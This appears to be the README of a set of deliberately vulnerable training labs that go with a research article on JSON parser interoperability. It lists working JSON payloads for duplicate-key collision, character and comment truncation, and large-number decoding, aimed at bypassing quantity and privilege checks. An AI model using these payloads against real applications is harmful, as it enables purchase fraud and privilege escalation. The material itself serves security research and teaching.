JSON Interoperability Vulnerability Labs

Description

These are the companion labs to my research article "An Exploration of JSON Interoperability Vulnerabilities".

Lab 1: Free purchases in an E-commerce Application

• Key Collision Attacks: Inconsistent Duplicate Key Precedence
• Inconsistent Large Number Representations

Lab 2: Privilege Escalation in a Multi-tenant Application

• Key Collision Attacks: Character Truncation

These labs bind to host ports 5000-5004, by default.

Attack Techniques

1. Key Collisions

Inconsistent Duplicate Key Precedence

{"qty": 1, "qty": -1}

Character Truncation

Truncation in last-key precedence parsers (flip order for first-key precedence)

{"qty": 1, "qty\": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}

Comment Truncation

These documents take advantage of inconsistent support of comments and quote-less string support:

{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}

2. Number Decoding

Inconsistent Large Number Decoding

These large numeric values may be converted to Strings (e.g., "+Infinity"), which may lead to type-juggling vulnerabilities. Or, they may be converted to MAX_INT/MIN_INT, rounded values, or 0, which may allow a bypass of business logic.

{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}

Author

Twitter: @theBumbleSec

GitHub: the-bumble